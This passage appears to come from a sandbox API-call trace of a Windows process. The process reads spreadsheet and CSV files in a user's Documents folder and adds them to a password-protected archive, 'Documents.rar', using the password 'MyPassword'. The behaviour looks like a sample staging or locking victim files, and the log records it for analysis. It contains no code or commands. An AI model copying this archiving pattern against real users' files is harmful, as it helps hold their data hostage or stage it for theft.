(in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.748] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.748] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.748] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1e, wMilliseconds=0x161)) [0068.748] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.748] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14408816940) returned 1 [0068.748] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x6e1e, lpOverlapped=0x0) returned 1 [0068.748] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a6e5e, nNumberOfBytesToRead=0xf91e2, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a6e5e*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.748] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65680 [0068.748] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b656b0 [0068.748] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b656b0, Size=0x48) returned 0x39db40 [0068.748] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.748] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b656b0 [0068.748] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b656b0, Size=0x48) returned 0x39daf0 [0068.749] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.749] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.749] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b656b0 [0068.749] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b656e0 [0068.749] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b656e0 | out: hHeap=0x2e0000) returned 1 [0068.749] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b656b0 | out: hHeap=0x2e0000) returned 1 [0068.749] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65680, Size=0x48) returned 0x39db40 [0068.749] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0068.749] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.749] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.750] GetTickCount () returned 0xa67792 [0068.751] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14409092131) returned 1 [0068.751] GetTickCount () returned 0xa67792 [0068.751] GetTickCount () returned 0xa67792 [0068.751] GetTickCount () returned 0xa67792 [0068.751] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.751] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.751] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.751] ResetEvent (hEvent=0x1a4) returned 1 [0068.751] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.752] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.752] ResetEvent (hEvent=0x1a4) returned 1 [0068.752] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.753] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.753] GetTickCount () returned 0xa67792 [0068.754] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14409391012) returned 1 [0068.754] GetTickCount () returned 0xa67792 [0068.754] GetTickCount () returned 0xa67792 [0068.754] GetTickCount () returned 0xa67792 [0068.754] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.754] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.754] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.754] ResetEvent (hEvent=0x190) returned 1 [0068.754] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.754] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.754] ResetEvent (hEvent=0x190) returned 1 [0068.754] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.754] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.754] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.754] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.755] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x341290 [0068.755] SetFilePointer (in: hFile=0x198, lDistanceToMove=107, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x3412fb [0068.755] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.755] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.755] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.755] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.755] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x6e60, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x6e60, lpOverlapped=0x0) returned 1 [0068.755] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.755] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.755] SetFilePointer (in: hFile=0x198, lDistanceToMove=3412624, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x341290 [0068.755] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x341290 [0068.755] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65680 [0068.755] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b656b0 [0068.756] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b656b0, Size=0x48) returned 0x39daf0 [0068.756] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.756] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b656b0 [0068.756] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b656b0, Size=0x48) returned 0x39db40 [0068.756] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.756] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.756] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b656b0 [0068.756] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b656e0 [0068.756] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b656e0 | out: hHeap=0x2e0000) returned 1 [0068.756] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b656b0 | out: hHeap=0x2e0000) returned 1 [0068.756] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65680, Size=0x48) returned 0x39daf0 [0068.756] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0068.756] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x6b, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x6b, lpOverlapped=0x0) returned 1 [0068.756] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65680 [0068.756] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x6b) returned 0x3b4c290 [0068.756] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.756] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.756] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x34815b [0068.756] CloseHandle (hObject=0x1b0) returned 1 [0068.756] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.756] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.756] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.756] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.756] FindFirstFileW (in: lpFileName="XRS5ksD\\8quW\\bwEoB.ods", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.756] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.756] CreateFileW (lpFileName="XRS5ksD\\8quW\\bwEoB.ods" (normalized: "c:\\users\\whuoxysd\\documents\\xrs5ksd\\8quw\\bweob.ods"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.756] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0e30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.756] GetTickCount () returned 0xa67792 [0068.756] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.756] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.756] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.756] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.756] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="2d1Kv.xlsx") returned 10 [0068.756] SetWindowTextW (hWnd=0x10280, lpString="bwEoB.ods") returned 1 [0068.757] GetTickCount () returned 0xa67792 [0068.757] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.757] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.757] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.757] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.757] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1e, wMilliseconds=0x16a)) [0068.757] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.757] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14409755690) returned 1 [0068.757] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0xe9cc, lpOverlapped=0x0) returned 1 [0068.758] ReadFile (in: hFile=0x1b0, lpBuffer=0x36aea0c, nNumberOfBytesToRead=0xf1634, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36aea0c*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.758] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.758] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.758] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b656b0 [0068.758] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b656e0 [0068.758] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b656e0, Size=0x48) returned 0x39db40 [0068.758] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.758] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b656e0 [0068.758] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b656e0, Size=0x48) returned 0x39daf0 [0068.758] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.758] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.758] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b656e0 [0068.758] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65710 [0068.758] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65710 | out: hHeap=0x2e0000) returned 1 [0068.758] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b656e0 | out: hHeap=0x2e0000) returned 1 [0068.758] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b656b0, Size=0x48) returned 0x39db40 [0068.758] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0068.758] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.758] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.759] GetTickCount () returned 0xa67792 [0068.759] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14409935360) returned 1 [0068.759] GetTickCount () returned 0xa67792 [0068.759] GetTickCount () returned 0xa67792 [0068.759] GetTickCount () returned 0xa67792 [0068.759] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.759] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.759] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.760] ResetEvent (hEvent=0x1a4) returned 1 [0068.760] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.762] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.762] ResetEvent (hEvent=0x1a4) returned 1 [0068.762] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.764] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.764] GetTickCount () returned 0xa677a2 [0068.764] GetLastError () returned 0x0 [0068.764] SetLastError (dwErrCode=0x0) [0068.764] GetDlgItem (hDlg=0x10278, nIDDlgItem=158) returned 0x10284 [0068.764] GetDlgItem (hDlg=0x10278, nIDDlgItem=153) returned 0x10282 [0068.764] GetWindowTextW (in: hWnd=0x10282, lpString=0x1cbe80, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0068.764] SendMessageW (hWnd=0x10284, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0068.764] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14410487922) returned 1 [0068.765] GetTickCount () returned 0xa677a2 [0068.765] GetTickCount () returned 0xa677a2 [0068.765] GetTickCount () returned 0xa677a2 [0068.765] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.765] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.765] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.765] ResetEvent (hEvent=0x190) returned 1 [0068.765] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.765] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.765] ResetEvent (hEvent=0x190) returned 1 [0068.765] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.766] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.766] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.766] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.766] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x34815b [0068.766] SetFilePointer (in: hFile=0x198, lDistanceToMove=106, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x3481c5 [0068.766] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.766] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.766] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.766] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.767] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0xea50, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0xea50, lpOverlapped=0x0) returned 1 [0068.767] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.767] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.767] SetFilePointer (in: hFile=0x198, lDistanceToMove=3440987, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x34815b [0068.767] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x34815b [0068.767] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b656b0 [0068.768] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b656e0 [0068.768] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b656e0, Size=0x48) returned 0x39daf0 [0068.768] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.768] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b656e0 [0068.768] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b656e0, Size=0x48) returned 0x39db40 [0068.768] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.768] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.768] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b656e0 [0068.768] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65710 [0068.768] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65710 | out: hHeap=0x2e0000) returned 1 [0068.768] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b656e0 | out: hHeap=0x2e0000) returned 1 [0068.768] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b656b0, Size=0x48) returned 0x39daf0 [0068.768] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0068.768] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x6a, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x6a, lpOverlapped=0x0) returned 1 [0068.768] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b656b0 [0068.768] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x6a) returned 0x3b4c310 [0068.768] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.768] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.768] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x356c15 [0068.768] CloseHandle (hObject=0x1b0) returned 1 [0068.768] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.768] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.768] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.768] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.768] FindFirstFileW (in: lpFileName="XRS5ksD\\8quW\\DmJHZllsIDAO 6.csv", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.768] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.768] CreateFileW (lpFileName="XRS5ksD\\8quW\\DmJHZllsIDAO 6.csv" (normalized: "c:\\users\\whuoxysd\\documents\\xrs5ksd\\8quw\\dmjhzllsidao 6.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.768] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2df230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.768] GetTickCount () returned 0xa677a2 [0068.768] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.768] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.768] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.768] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.768] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="bwEoB.ods") returned 9 [0068.768] SetWindowTextW (hWnd=0x10280, lpString="DmJHZllsIDAO 6.csv") returned 1 [0068.769] GetTickCount () returned 0xa677a2 [0068.769] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.769] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.769] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.769] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.769] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, 